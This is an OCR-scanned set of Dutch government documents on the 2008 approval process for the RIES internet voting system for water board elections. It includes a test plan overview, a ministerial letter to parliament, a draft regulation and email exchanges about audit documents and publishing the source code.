techniek, beheer, beveiliging, processen en procedures verstaan. De stemdienst is derhalve meer dan
alleen een webserver

In opdracht van de ICTU programmamanager "Kiezen op Afstand" 2006 is een masteftestplan
opgesteld, waarin de het gehele testtraject rondom KOA 2006 is uitgewerkt.

De bouw / programma I unittest is een door de ontwikkelaar in het
laboratorium uitgevoerde test, die moet aantonen dat een programma of
programmadeel aan de in de technisch specificaties gestelde eisen voldoet. De
meest elementaire onderdelen van het systeem worden getest.

1) Bouw / programma /
unittest

Het doel van de FAT is aantonen dat de tijdens het increment ontwikkelde
objecten/systeemdelen voldoen aan de daarvoor opqestelde functionaliteit.

2) FAT (Functionele

De performancetests dient zich te richten op de verwerkingscapaciteit van de
stemdienst en niet op de functionaliteit. In een gecontroleerde omgeving wordt
belasting gegenereerd voor het testobject en wordt de performance van het

De penetratietest heeft tot doel te testen hoe moeilijk het is om een
comouternetwerk binnen te drinqen.
De belastbaarheid van het testobject wordt onderzocht door het systeem zó te
belasten dat het svsteem overbelast raakt.

DDOS (Denial of

Een review van de source code door een specialistische onafhankelijke partij
zorgt ervoor dat met redelijke mate van zekerheid kan worden vastgesteld dat
de software geen verborgen of foutieve elementen bevat.

Source Code
revrew

De zwakste schakel bij net beveiligen van een systeem of netwerk is de mens.
Social engineering is een techniek waarbij een kwaadwillende een aanval op een
computersysteem tracht te ondernemen door bij de gebruikers en/of
beheerders van het systeem vertrouweliike of qeheime informatie los te krijgen.

Social Engineering

In de stemdienst worden meerdere encryptiemethodes gebruikt. Een
(literatuur) onderzoek om te bestuderen of de gebruikte methodes voldoende
beveiliging biedt geeft een goed beeld van de mogelijkheid tot het kraken van
de data



5) Usability test Het usability onderzoek is een gebruikersonderzoek waarmee de usability
(gebruiksvriendelijkheid) van de stemdienst onderzocht wordt. Omdat
ontwerpers als expeft-gebruikers van het systeem worden beschouwd vanwege
hun ervaring met het systeem die zij tijdens de ontwikkeling hebben opgedaan,
worden voor het onderzoek toekomstige eindgebruikers uitgenodigd om het
systeem te testen. Met een eenvoudige test kan met behulp van een kleine
groep gebruikers relatief snel tot 80o/o van de grootste knelpunten opgespoord
worden.

6)
Accessibility test
Browser
compatibility test

- De accessibility test richt zich op de toegankelijkheid van het systeem.
- De browser compatibility test heeft als doel om de compatibiliteit van de
gerealiseerde applicatie onder verschillende, meest gebruikte browsers en
platformen te testen,

7) Beheersmatiqe tests
Disaster recovery
test

In het geval van een ernstige calamiteit met betrekking tot de beschikbaarheid
van de systemen is het van belang dat er een plan aanwezig is hoe er
omqeqaan dient te worden met de situatie

Failover test Het doel van een Fail over test is na te gaan of de genomen herstelmaatregelen
in de oroductie omqevinq adequaat werken

B) Keten (integratie)
test

Het doel van de ketentest is vaststellen dat de hoofdprocessen door de
onderliooende svstemen correct ondersteund worden.

9) Schouwplan Doel van het schouwplan is om aan te geven in welke rnate de stemdienst
(orqanisatie en techniek) gereed is voor de aanvanq van de stemminq.

Testen project Watersch apsverkiezi n ge n 2008, Het watersch aps h u is.

Voor de Waterschapsverkiezingen in 2008 waarbij gebruik wordt gemaakt van RIES 2008. Het gaat om
een verder ontwikkelde versie van de indeftijd gebruikte versie van RIES 2007 voor KOA.

Audits en Reviews die in het verleden zijn uitgevoerd op de voorloper van RIES 2008 zullen
grotendeels overnieuw worden uitgevoerd.

t0
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Aan
de voorzitter van de Tweede Kamer

der Staten-Ceneraal
Binnenhof 4
2513 AA DEN HAAC

Contactpersoon

Datum

MÍnisterie van Verkeer en Waterstaat

Doorkiesnummer

Bijlage(n)

Ons kenmerk Uw kenmerk

VenW/DCW 2008 /417
Onderwerp

goed keu ri n g i ntern etstemvoorzien i n g wate rsch apsve rki ezi n gen 2008

Ceachte voorzitter,

In het Algemeen Overleg op 30 januari jongstleden over de inrichting van het
verkiezingsproces hebben wij gesproken over het stemmen per internet bij de

waterschapsverkiezingen in 2O08, Daarbij ging het debat met name over de

betrouwbaarheid en veiligheid van de toe te passen stemvoorziening. Verschillende

sprekers refereerden aan de motie Kalma, die de regering vraagt om indien zij het gebruik

van stemmen via internet door kiesgerechtigden in het buitenland op grond van de

Experimentenwet Kiezen op Afstand (KOA) opnieuw wil faciliteren, ruim van tevoren een

adequate goedkeuringsprocedure op te stellen en aan de Kamer voor te leggen. Sprekers

verzochten mij naar analogie van deze motie ook voor de waterschapsverkiezingen een

goedkeu ringsproced u re voor de internetstemvoorziening op te stellen.

lk wil uw verzoek graag honoreren. Maar voordat ik inga op de inhoud van de

voorgenomen ministeriële regeling, sta ik even stil bij de feitelijke situatie bij de

waterschapsverkiezingen, die op enkele belangrijke punten afwijkt van die bij de algemene

verkiezingen. De vergelijking die in het AO gemaakt werd, wil ik daarmee in het juiste

perspectief plaatsen.

1. Rol van het Riik bii de waterschapsverkiezngen
Allereerst is het van belang dat de waterschapsverkiezingen niet onder de Kieswet vallen.

De waterschappen zijn als zelfstandige decentrale overheden op grond van de

Waterschapswet zelf verantwoordelijk zijn voor de organisatie van de eigen verkiezingen.
Het Rijk heeft geen rol in de organisatie en uitvoering van deze verkiezingen.

Postadres Postbus 2O9O1,25OO EX Den Haag Telefoon O7O 351 61 71

Bezoekadres Plesmanweg 1-6,2597 )C Den Haag Fax O70 351 78 95

bereikbaar met tram 9 (station hs en cs) en bus 22 (station cs)
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De Waterschapswet is onlangs ingrijpend herzien (Stb. 2OO7 208). In de op 29 december
2OO7 in werking getreden wet wordt de waterschappen de bevoegdheid gegeven
internetstemmen aan te bieden. Uw Kamer heeft in oktober 2006 ingestemd met dit
wetsvoorstel, De uitwerking van de voorschriften voor het verkiezingsproces heeft

vervolgens plaatsgevonden in het Waterschapsbesluit, dat tegelijk met de wet in werking
is getreden (Stb. 2OO7 497).

De eisen waaraan de voorziening voor het internetstemmen moet voldoen, zijn in het
Waterschapsbesluit vastgelegd in de artikelen2.45 en 2.58. Samengevat stellen
genoemde artikelen eisen aan de waarborging van het geheime karakter van de

stemming, de betrouwbaarheid en beveiliging tegen inbreuken van de voorziening, de

wijze waarop stemopneming en eventuele hertelling kan plaatsvinden, de toegankelijkheid
en gebruikersvriendelijkheid van de voorziening, de anonimiteít van de kiezer en het
toezicht op het functioneren van de voorziening en het verloop van de stemrning. De

waterschappen dienen de wijze waarop zij aan deze eisen voldoen in een openbaar
protocol vastte leggen. ln mijn brief van 19 december2OOT en in hetdebatvan 3O

januari 2008 heb ik aangegeven dat ik in aanvulling op deze reeds geldende eisen gebruik
ga maken van de mogelijkheid die het Waterschapsbesluit biedt om nadere regels te
stellen.

2. Besch i kbaarheí d i ntern etstemvoorzi eni n g
Ten tweede is het relevant dat de waterschappen al beschikken over een

internetstemvoorziening, het Rijnland Internet Election System (RIES). Deze voorziening is

door de waterschappen zelf ontwikkeld ten behoeve van de verkiezingen in 2004 bij twee
waterschappen. Het feit dat de voorziening al beschikbaar is, maakt het internetstemmen
in november 2O08 haalbaar. In het theoretische geval dat de waterschappen een andere
voorziening zouden willen gebruiken, zouden zij een Europese aanbestedingsprocedure
moeten doorlopen. Dat is op deze termijn niet meer uitvoerbaar. Dit heeft tot
consequentie dat indien RIES niet blijkt te voldoen aan de eisen in de amvb en de

ministeriële regeling, internetstemmen in 2008 niet aan de orde is.

Momenteel ben ik bezig met het opstellen van de ministeriële regeling voor een aantal

aspecten van de verkiezingsprocedure 2008, waaronder de goedkeuringsprocedure voor
de internetstemvoorziening. lk wil de goedkeuringsprocedure inrichten aan de hand van

de volgende uitgangspunten:
1. Maximale transparantie

Met uw Karner ben ik van mening dat maximale transparantie moet worden
nagestreefd. lk zal daarom de eis van openbaarmaking van de broncode van de

internetstemvoorziening en van de applicaties voor de berekening van de uitslag
en de zetelverdeling opnemen in de ministeriële regeling. Uiterlijk op 1 juli 2OO8

dient de broncode op internet gepubliceerd te zijn.
2. Gebruik maken van alle reeds beschikbare relevante informatie over het systeem.

De beoogde internetstemvoorzienÍng RIES is al eerder gebruikt, namelijk in 2004
bij twee waterschappen en in 2006 voor kiezers in het buitenland bij de

verkiezingen voor de Tweede Kamer, op basis van de Experimentenwet KOA. De

voorziening is bij die gelegenheden en ook daarna uitgebreid getoetst en verder
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ontwikkeld. De waterschappen zullen de relevante informatie uit die eerdere en

nog lopende onderzoeken beschikbaar stellen aan de door mij aan te wijzen

organisatie. De door deze organisatie ingezette deskundigen krijgen ook toegang
tot het systeem, en zullen zij in de gelegenheid worden gesteld het

ketenonderzoek dat de waterschappen in juni 2008 laten uitvoeren, te monitoren.

3. Toetsen aan wetteliike criteria, plus aan aanbevelíngen van de Rraad van Europa

De internetstemvoorziening dient uiteraard te voldoen aan de hierboven al

aangehaalde voorschriften uit het Waterschapsbesluit. Daarnaast zal ik als

onderdeel van de goedkeuringsprocedure voorschrijven dat de voorziening
getoetst wordt aan de voor internetstemmen relevante aanbevelingen van de

Raad van Europa (Legal, operational and technical standards for e-voting,
Rec(2004X1). Deze aanbevelingen zijn ook gebruikt door de Commissie Korthals

Altes ter toetsing van het huidige verkiezingsproces onder de Kieswet (zie bijlage

5 bij het rapport "Stemmen met vertrouwen").
4. Oordeel over toelaatbaarheid op basis van onafhankeliik deskundigenadvies

lk zal in de ministeriële regeling een onafhankelijke organisatie aanwijzen die mij

adviseert over de betrouwbaarheid en veiligheid van de beoogde

internetstemvoorziening voor toepassing bij de waterschapsverkiezingen in 2008.

Dit advies zal gebaseerd zijn op het oordeel over de door de waterschappen aan

te leveren informatie waarmee zij aantonen aan de wettelijke eisen te voldoen, en

op de toetsing aan de aanbevelingen van de Raad van Europa. Indien de

deskundigen daarnaast nog zaken opmerken die zij relevant achten voor mijn

oordeel, zullen zij die ook betrekken in hun advies. lk zal een organisatie
aanwijzen die deskundig is op het terreín van beveiliging van elektronisch
dataverkeer, en die in de afgelopen jaren niet in opdracht van de waterschappen

bij RIES betrokken is geweest.

Op grond van het advies zal ik een besluit nemen over de toelaatbaarheid van het

gebruik van de internetstemvoorziening,

lk heb gedurende dit traject regelmatig contact met de waterschappen en het spreekt voor
zich dat ik over mijn voorgenomen besluit ook overleg met de waterschappen zal hebben.

De waterschappen kunnen overigens op ieder moment van het proces zelfstandig
besluiten om hen moverende redenen af te zien van het aanbieden van internetstemmen.

De waterschappen zetten zich vooralsnog echter sterk in voor het aanbieden van

internetstemmen bij de aanstaande verkiezingen, te meer daar zij het internetstemmen als

een goede aanvulling op het poststemmen zien in het streven de drempel voor de kiezer

om te gaan stemmen zo laag mogelijk te maken. Tijdens de parlementaire behandeling
van de wet is immers sterk aangedrongen op het verbeteren van de opkomstpercentages,
Het verbeteren van de toegankelijkheid van de verkiezingen kan daarin een element zijn,

naast uiteraard een goede publiciteitscampagne waartoe de landelijk gelijkgeschakelde

periode van de waterschapsverkiezingen de gelegenheid biedt.



VenW/DGW 20081417

Het is mijn voornemen de ministeriële regeling zo spoedig mogelijk, maar uiterliik 1 mei

2008 vast te stellen teneinde de waterschappen voldoende tijd te geven zich voor te

bereiden op de eis om vóór 1 juli 20OB de gevraagde informatie te overleggen. Mijn

besluit over de toelaatbaarheid van het gebruik van de internetstemvooaiening zal ik

uiterlijk 1 september 2008 bekend maken. lk zal u de regeling zo spoedig mogelijk

toezenden.

Hoogachtend,

DE STAATSSECRETARIS VAN VERKEER EN WATERSTAAT,

J.C. Huizinga-Heringa

4
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Regelisrg van de Staatssecretaris van Verkeer en Waterstaat,
houdende regels ter zake van de uitvoering van hoofdstuk 2van het
Waterschaps bes E u it {Re gel t n g wate rsc h apsve rki ezi n ge n 2008)

De Staatssecretaris van Verkeer en Waterstaat,

Gelet op de artikelen 2.45, derde lid, 2.53, vierde lid, 2.56, 2.61 en 2.72 van het WaterSchapsbesluit;

Besluit:

$ 1. Algernene bepaling

Artikel 1

In deze regeling wordt verstaan onder:

a. Besluit: het Waterschapsbesluit
b. het dagelijks bestuur: het dagelijks bestuur Van het waterschap: ,

$ 2. Bepalingen omtrent stemmen per brief ,

Artikel 2

Als het model voor het stembiljet;,b'èdoeld:ih,artit<eÍ12,:Ë3, vierde lid, van het Besluit, wordt vastgesteld
het model dat is opgenomen in biilage 1 bij,fls2g regeling.

Atrikel 3

1. De stembuS:bedoeld inlartikel,254, derde lid, van het Besluit wordt geplaatst in een voor het
publiek toegankelijke ruimte in het kantoor van het waterschap.

2. Door of vanrypge het Stembureau wordt toezicht op de stembus gehouden. Buiten
Itàhtooruren'wórdt de,,Stembus bewaard in een afgesloten ruimte.

3. lndien het stembureau besluit tot het tussentijds overbrengen van stembiljetten naar de ruimte
wqar de stemopneming plaatsvindt, wordt hiervan melding gemaakt in het proces-verbaal.

$ 3. Bepalin$ën omtrent het stemmen met behulp van internet

Artikel 4

Het gebruik van de internetstemvoorziening behoeft de voorafgaande goedkeuring van Onze minister.

Artikel 5

De broncodes van de voorziening internetstemmen en van de applicaties voor de berekening van de
uitslag en de zetelverdeling worden uiterlijk 1 juli 2008 openbaar gemaakt door plaatsing op het
internet. Deze openbaarmaking wordt bekend gemaakt in de Staatscourant.

Artikel 6

De opmaak van het stembiljet en de teksten die de voorziening internetstemmen aan de kiezer toont



bij het uitbrengen van zijn stem zijn opgenomen in bijlage 2 bij deze regeling.

AÉikel 7

1. Het dagelijks bestuur overlegt voor 1 juni 2008 aan de Minister de documenten op basis
waarvan het dagelijks bestuur van oordeel is dat wordt voldaan aan het bepaálde in artikel
2.45, eerste en tweede lid, en artikel 2.58 van het Besluit. De documenten beVatten een
beschrijving van het ontwerp en de werking van de voorziening, de procedureS eh organisatie,
beveiliging en uitgevoerde testen. Aanvullende documenten kunnen tot uiterlijk rÍ juli worden
ingediend.

2. Onverminderd het bepaalde in het eerste lid geeft het dagelijks bestuur aan in hoeverre wordt
voldaan aan de aanbevelingen van de Raad van Europa'.

3. Indien twee of meer waterschappen de verkiezingen gezamenlijk'organiseren, kan de
gemeenschappelijke uitvoeringsorganisatie deze documenten namens de dágelijkse besturen
van de betrokken waterschappen overleggen.

Artikel I

1 . Onze Minister wijst .... aan als instantie die hem adviseerl over de beooÍdeling van de overgelegde
documenten en van de voorziening, bestaande uit de programmatuur, de infiastructuur en de
beheersorganisatie voor de verkiezingen van 2008.

2. Het dagelijks bestuur stelt de instantie in kennis van de opzet van voorgenomen onderzoeken en
testen en stelt haar desgewenst in de gelegenheid bij de uitvoering daarvan aanwezig te zijn.

3. Het dagelijks bestuur stelt de instantie in de gefegenheid de voorziening te inspecteren en te testen.

AÉikel I

Onze Minister maakt uiterlijk 1 september 2008 zijn oordeel over de voorziening internetstemmen
bekend.

Artikel 10

1 . Het stembureau:kán te allen,tijde het goed functioneren van de voorziening controleren met behulp
van doon:het dagelUks bestuur verstrekte codes.

2. De in rhet eerste lid genoemde codes zijn zichtbaar in het bestand genoemd in artikel 2.48, tweede
lid, van hét besluit èn het gebruik van de codes is zichtbaar in de bestanden genoemd artikel
11,eerste lid, van deze regeling.

3. Indien het stembureau gebruik maakt van de in het eerste lid genoemde codes, wordt hiervan
melding gedaan in het proces-verbaal indien de voorziening niet goed functioneert, waarbij de
gebruikte codes, de uitgevoerde handelingen en de terugmeldingen vanuit de voorziening worden
vermeld.

Artikel 1í

1. Na de stemming worden op www.waterschapsverkiezingen.nl de volgende bestanden
gepubliceerd:

a. Het bestand van ontvangen stemmen;
b. Het bestand met vennrerkte ontvangen stemmen;
c. Het bestand met te publiceren publieke delen van de ontvangstbevestigingen;
d. De controlewaarden over de bestanden genoemd onder a, b en c.

l Legal, Operational and Technical Standards for E-Voting, Recommendation Rec(2004)11



2. Indien een kiezer van mening is dat zijn stem ten onrechte niet is vermeld in het bestand van
ontvangen stemmen, of dat zijn stem niet of onjuist is vennrerkt bij de stemopneming, kan hij tot
maandag 1 december twaalf uur een bezwaar indienen bij het stembureau. Voor het indienen van
het bezwaar maakt de kiezer gebruik van het op de website van het waterschap verstrekte
formulier.

3. Voorafgaand aan de stemming wijst het dagelijks bestuur een onafhankelijke deS.Kundige aan die
belast wordt met het beoordelen van de ingediende bearuaren. ':, '

4- De deskundige krijgt direct na het publiceren van de bestanden genoemd onder 1, i0egang tot de
voorziening. Hij krijgt daarbij geen toegang tot cryptografische sleutels wàarrnee het,stemgeheim
kan worden doorbroken.

5. De aanwijzing van de deskundige wordt bekend gemaakt in de Staatscourant:,,i,,

7. De deskundige onderzoekt de bij hem ingediende bezwaren,,êÍr geêf,t;'hierover.,êefl advies aan het
stembureau die van de bearuaren en het advies hierover melding 6sg[i:in het pÍoces-verbaal.

$ a. Slotbepalingen

Artikei 't 2

Deze regeling treedt in werking met ingang van,de tweede dag na de dagtekêning van de
Staatscourant waarin zij wordt geplaatst.

Artikel 13

Deze regeling wordt aangehaald als: Regeling wáterschapsverkiezingen 2008

Deze regeling wordt in' de Staatscourant geplàatst.

De Staatssecretaris,van Verkeer en UVaterstaat
J.C. Huizinga-Heringa ,.;
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Van:

Verzonden: donderdag 22 mei 200810:56

Aan:

CC:

Onderwerp: RE: Audit

Bijgevoegd een overzicht van documenten die FOX-IT dinsdag heeft ontvangen.

Voor een aantal documenten - met name over RIES - geldt: dat hiervan de lay-out wordt
geoptimaliseerd en de inhoud wordt aangevuld met wijzigingen - naar aanleiding van de eerste
ketentest - die nu plaatsvinden. Dus de volgende versie van deze documenten zijn geschikt
voor publicatie.

Met vriendelijke groet,

Programmamanager

Het Waterschapshuis
p/a Breestraat 59, Leiden
Postbus 130
1135 ZK Edam

www.hetwaterschapshuis.nl

Van:
Verzonden: woensdag 21 mei 20089:24

Aan:CC: •
Onderwerp: RE: Audit

at is heel mooi.

Ik neem aan dat je ons ook op de hoogte stelt van de informatie die Fox krijgt? Wij zullen als ministerie in
ieder geval moeten weten op welke informatie de studie gebaseerd is. We zullen immers zeker een WOS
verzoek kunnen verwachten. Het is overigens des te beter als de documenten dan al openbaar zijn! De
stichting maakte in zijn laatste nieuwsbrief al een sneer over de verplichting tot openbaar maken van de
broncode, waar niet expliciet de documentatie bij genoemd was.

Ik ben overigens benieuwd naar de toetsing aan de Raad van Europa-aanbevelingen.

Hoe gaan jullie het adres van de website bekend maken trouwens?

-----OOrspronkelijk bericht--~--

Verzonden: woensdag 21 mei 20088:13
Aan:
Onderwerp: Audit

Vandaag wordt voor 10.30 uur de onderzoeksrapporten en documenten over RIES bij

22-5-2008
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Revlew of RIES
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RIES Javaecript Revlew
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Concapv€rslo Beecfi riJvlng RIES-o l,Pdf
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T.a.v. hare excellentie
Plesmanweg 1-6
2597 JG Den Haag

Datum

2 juni 2008

Onderwerp

Documentatie voozien ing internetstemmen

Geachte mevrouw Huizinga-Heringa,

Namens de dagelijks besturen van de waterschappen breng ik u in kennis van het voornemen van

de waterschappen de kiezer tijdens de waterschapsverkiezlngen 2008 in de gelegenheid te stellen

zijn stem uit te brengen met behulp van internet. Een kiezer kan dan tijdens de

waterschapsverkiezingen in november 2008 per post oÍ via internet zijn stem uitbrengen,

In navotging van artikel 5, onderdeel a. van de Regeling Waterschapsverkiezingen 2008, doe ik u

narnens de dagelijks besturen van de waterschappen docurnenten toekomen Qver de voorziening

internetstemmen. De documenten bevatten een beschriivíng van het ontwerp en de werking van

de vooziening, de procedures en organisatie, beveiliging en uitgevoerde testen. De docurnenten

zijn opgeslagen op bijgevoegde cd-rorn,

Aan de instelling die de Minister adviseert over de beoordeling van de overgelegde documenten en

van de voorziening, Fox-IT te Delft, zijn de docurnenten conÍorm afspraak toegezonden om het

onderzoek zo snel mogelijk te kunnen laten staften.

De in bijlage 1 opgesornde documenten worden uiterlijk 24 juni 2008 in de meest actuele vorrn

openbaar gemaakt en gepubliceerd op de website www_.go_enries.,nl. Per gelijke datum zullen ook

de broncodes van de voorziening internetstemrnen en van de applicaties voor de berekening van

de uitslag en de zetelverdeling openbaar en open source worden gernaaK op voornoemde

websÍte.

Postadres

Poíbus 130

ll35 ZK Edarn

Eezoekadr es

Schepenmakersdiik 16

It35AG Edam

Tetefoon: 0299 391 100

Fax: 0299 391 l0l
e-mail: inÍo@hetwaterschopshuis nl

www. h etw alers ch apsh u i s.n I



Het Waterschapshuis zal namens de dageliJks besturen Fox-IT in kennis stellen van de opzet van

voorgenomen ondetzoeken en testen en stelt Fox-IT in de gelegenheid om Ín juni 2008 bij de

uitvoering van testen aanwezig te zljn en zelf de voorziening internetstemmen te inspecteren en te

testen.

Met vriendelfke groet,

tl . i)

I
;

J.W,A. van Enst,

directeur.

i:
O 

Hrtwuterschapshuis

-):=-
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Bijlage l: overzicht van openbaar te maken documenten

Document Locatie op cd-rom:
Documenten voor ministeriële regeling, artikel 5,

onderdeel a\Documenten verzonden naar Fox-

Iï\Openbaar te maken documenten\
Adrninistratieve Organisatie
Waterschaosverklezinqen 2008

AO 0.4\

Beschrijvlng Functioneef Ontwerp RÍES v. 0.1 ConcepWersie Beschrljving RIES_O 1. pdf

Documentatie RIES applicatie v. 1.1 Documentatie RlEsaoolicatie V1 10.odf
Documentatle RIES SURFnet v. 1,0 Documentatie RIES_SURFnet_v1.0-definitief. pdf

RIES-2008: Abbreviations and definitions v,

6,05
RIES_abbrev_2007 1 207_v605. pdf

RIES-2008: Design information for evaluation
DurDoses v. 0.92

RI ES_desl g n_i nfo_v 09 2. pdf

RIES-2008: HW-Crypto v. 0.95 RIES2 008_H W_CRYPTO_vO9. pdf

RIES-2008: Portalbeschrijving v. 0.6 RIES 2008 Portal beschriivinq v0 6.odf
RIES-2008: WV STUF v. L.2 RIES WVSTUF 1,2,pdÍ
RIES-2008: Biilaqen bii WV STUF v, 1.4 Bijlagen_RIES WVSTUF 1 4,pdf
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woensdag 4 juni

Van:

Verzonden:

Aan:

cc:
Onderwerp: RE: overlegging stukken

Bij deze wil ik nog even toelichten dat het ons streven is alles zo snel mogelijk openbaar te
maken. De planning is nu dat dat uiterlUk op 24 juni plaatsvindt. Dan zal ook een persbericht
vanuit de Unie worden uitgebracht en een bekendmaking in de Staatscourant worden geplaatst.

We zijn nu nog volop bezig om de software en de documentatie te optimaliseren. Dat kost
gewoon tijd. De website staat inmÍddels klaar. Dus die kan live worden gebracht. Als we nu de
sofware daarop publiceren, staan niet de juiste licentievoo rwaa rden jn de code en die code is
behoorlijk groot, vooral van de RIES Portal. Er wordt meer open source gemaakt dan de
applicatie VotingWindow (=voorziening internetstemmen). Het gaat om een verscheidenheid
aan applicaties, die aan elkaar zijn gerelateerd, Een aanpassing in een applicatie, vergt weer
een aanpassing in het geheel van applicaties, Dus dat alles moet omgezet worden in GPL versie
3. Dat kan pas als de software is verbeterd naar aanleiding van de bevindingen van ketentest 1.
De ketentesten zijn ook van groot belang. De uitvoering van de verkiezingen moeten tenslotte
ook rechtsgeldig verlopen. Het is nu schipperen met de tijd en er worden al lange dagen
gemaakt, De capaciteit kunnen we niet zo maar opschalen.

Dus het is nu beter om tot 24 juni te wachten en in de tussentijd alles te optimaliseren. Als je
nu bijvoorbeeld documenten zou publiceren en twee weken later zou herzien, schep je
verwarring. De documenten moeten hier en daar inhoudelijk worden aangepast omdat we nu
dingen anders doen dan in 2006.

Dus de wil is er om alles zo snel mogelijk openbaar te maken. Wellicht kunnen we al zaken in
de week van 16 juni publiceren. Op zich komt het AO op 2 juli goed uit, want dan is minimaal
een week ervoor alles bekendoemaakt.

Met vriendeluke groet,

Prog ra m mamanager

Het Waterschapohuis
p/a Ereestraat 59, Leiden
Postbus 130
1135 ZK Edam

www. hetwatersc

Van:

Aan
cc

RE: overlegging stukken

dank voor je aanvulling. Eens met je
gedeelten. De inzagetermijn vanaf 1

1-9-2008

opmerkingen over openbaarmaking: hoe eerder hoe beter, desnoods in
juli is niet ruim voor zo'n omvangrijke hoeveelheid informatie, en



overlegging stukken pagina 2 Val. ~

,
we hebben hier al kritiek op gekregen in de Kamervragen die we niet helemaal kunnen weerleggen. Het is
ook voor de beeldvorming zeer van belang om niet tot de uiterste datum te wachten is het mogelijk
om dit te versnellen?

1 iuni 2008 22:02

rder mailtje: alle stukken alleen formeel toezenden aan de stas, zo nodig met
de mededeling dat de dezelfde stukken spoedshalve reeds zijn toegezonden aan Fox IT. Dit
moet m.L zo nodig ook nog gebeuren voor de reeds aan Fox overhandigde/toegezonden
stukken. Bij stukken die op voorhand openbaar zullen worden (gemaakt), komt het mij wenselijk
voor dat hiervan melding wordt gemaakt in de brief bij de toezending van de stukken aan de
stas.

p mijn pleidooi waar mogelijk reeds per 1 juni openbaar te maken wat openbaar
gemaakt kan worden, zo nodig met de aantekening dat een aantal stukken nog in verbeterde
vorm zal worden gepubliceerd, heb ik geen reactie ontvangen. Ik blijf het een zwaktebod vinden
eerst op 24 juni - een week voor de wettelijke termijn - te starten met openbaarmaking.

31 mei 2008 21:27

overlegging stukken

Zoals je waarschijnlijk inmiddels weet, heeft de Kamer afgelopen donderdag besloten om voor
het zomerreces nog weer een AO te houden over het internetstemmen. Ter voorbereiding
daarvan zullen we elkaar vast nog wel spreken over concrete zaken, maar er is één punt waar ik
je nu al over wil benaderen: de toezending van de stukken.

Volgens de ministeriële regeling dienen jullie de informatie aan het ministerie te sturen, en
zorgen wij voor een beoordeling door Fox IT. Wij hebben onderling afgesproken dat de stukken
rechtstreeks naar Fox-IT gaan, maar wij kunnen ons als ministerie niet permitteren dat wij niet
weten om welke informatie het gaat. Daarom het dringende verzoek om van alles wat er naar
Fox gezonden is of nog gezonden gaat worden, met een formele brief ook een kopie naar ons te
sturen (hard copy, pdfs of een verwijzing naar een vindplaats). Wij moeten in ieder geval zorgen
dat er voldaan wordt aan de voorschriften uit de regeling, daar mag het niet op onderuit gaan.
Als je in de brief opneemt dat dezelfde stukken conform afspraak met ons ook rechtstreeks naar
Fox zijn gegaan, dan is het rond .

.~ 1·

Denken jullie ook aan de open source-bepaling en tijdige aankondiging in de Staatscourant?

• ben ik '10g iets vergeten?

1-9-2008



alegging stukken pagina 3 van 3

Disclaimer Í{È

t*,F**{<{<*rlc***********<rF,lc{<{<****rt(+*(*{€rF{<*tt*******(,lc*t*c*tF:F*t(+*t*tf***t'F:tr{.{.{€*<ttt

f, Aan dit bericht kunnen geen rechten worden ontleend. Dit bericht is uitsluitend bestemd
voor de geadresseerde. Als u dit bericht per abuis hebt ontvangen, wordt u verzocht het
te vernietigen en de afzender te informeren. Wij adviseren u om brj nvijfel over de
juistheid'ófde volledigheid van de mail contact met afzender op te nemen. This message
shall n igations. Jhis message
addrès message ln eïïor, pleas
r"n#i whether this message i ase

contact the sender.
..t**+**(***tt*'F+*+rF+**{<**{<+{<+******{<***t**{c***tt*+>lc*{<*+{.*{€*d.*****,|<***t€**+*

Disclaimer
*t+*rl<+{<+{<rF***,t<*rFrF**rFtttFt*tF{<>Ft*>F+*d<*{<**tFrF*'F*(*+tF,t<*t+*:F**{<{<t*{.{<d<*d(dcrF*t*t**c* flan i[i1

bericht kunnen geen rechten worden ontleend. Dit bericht is uitsluitend bestemd voor de
geadresseerde. Als u dit bericht per abuis hebt ontvangen, wordt u verzocht het te vernietigen en de
afzender te informeren. Wij adviseren u om bU twijfel over de juistheid of de volledigheid van de

mail contact met afzender op te nemen, This message shall not constitute any rights or obligations.
This message is intended solely for the addressee. If you have received this message in error, please
delete it and noti$r the sender immediately. When in doubt whether this message is correct or
complete, please contact the sender.
d.{<*t{<**t{<>FrFt***{<*{c*X*{<{<{,(*+t<{c*******rl.*,|<**tF**t+*X>tt**{<**t*{<t>lc*ctF*>F{<>F*(rl€****t
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dinsdag 17 juni 2008 15:39

Van:

Verzonden:

Aan:

Onderwerp: RE: documenten

De gevraagde documenten. Met je verzoek over de broncode zijn we nog mee bezig.

Document Security scan U KOA is niet bijgevoegd, Betreft een scan van het systeem van
LogicaCMG, dat KoA in 2003 heeft laten uitvoeren. Wel een bekende auteur Van Govcert O. Er
staat Vertrouwelijk op het document, dus als je het wilt hebben, moet dat m.i. via de formele
weg. VenW vraagt dan aan BZK of ze het ter beschikking mogen stellen.

Met vriendelijke groet,

Prog ram mamanager

Hêt Waterschapshuis
p/a BÍeestraat 59, Leiden
Postbus 130
1135 ZK Eda

www, hetwaterscha psh u is, n I

maandag 16 juni 2008 t7:59

documenten

lk heb even teruggekoppeld met de reviewers daarnet, en daaruit kwamen nog de volgende vragen naar
boven:

Bijlage 8 bij de Europese aanbesteding mist;
ls er een beschrijving van RIES op basis waarvan Cryptomathic haar onderzoek heeft verricht?
In het overzicht is een rapport beveiligingstests KOA opgenomen ("security scan ll KOA") - ís dat
document ook beschikbaar?
RIES_design_info_v092.pdf mist de bijlagen;
Bij het testen van de webapplicatie missen we nu de broncode, is die al beschikbaar?

5-9-2008
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Van:

Verzonden:

Aan:

Onderwerp:

Nu ook met de sources van VotingWindow. Er zijn ook configuratieparamters, images,
stylesheets etc bijgedaan om een goed beeld te geven.

Met vriendelijke groet,

Programmamanager

Het Waterschapshiiis
p/a Breestraat 59, Leiden
Postbus 130
1135 ZK Edam

2008 15:55

n

etwaterscha psh uiSlnl

p\hmonden: dinsdag L7 jpni 
,2008

Van:
15:39

Onderwerp: RE: documenten

De gevraagde documenten. Met je verzoek over de broncode zijn we nog mee bezig.

Document Security scan II KOA is niet bijgevoegd. Betreft een scan van het systeem van
LogicaCMG, dat KoA in 2003 heeft laten uitvoeren. Wel een bekende auteur Van GovCert O. Er
staat Vertrouwelijk op het document, dus als je het wilt hebben, moet dat m.i. via de formele
weg. VenW vraagt dan aan BZK of ze het ter beschikking mogen stellen.

Met vriendelijke groet,

Programmamanager

Het Waterschapshuis
p/a Breestraat 59, Leiden
Postbus 130
LL35 ZK Edam

vffiw, hetwaterscha psh u is.Ï

Van
Verzonden: maandag 16 juni 2008 L7:59
Aan
Onderwerp: documenten

5-9-2008



)t lk heb even teruggekoppeld met de reviewers daarnet, en daaruit kwamen nog de volgende vragen naar

boven:

- Bijlage I bij dé Europese aanbesteding mist;
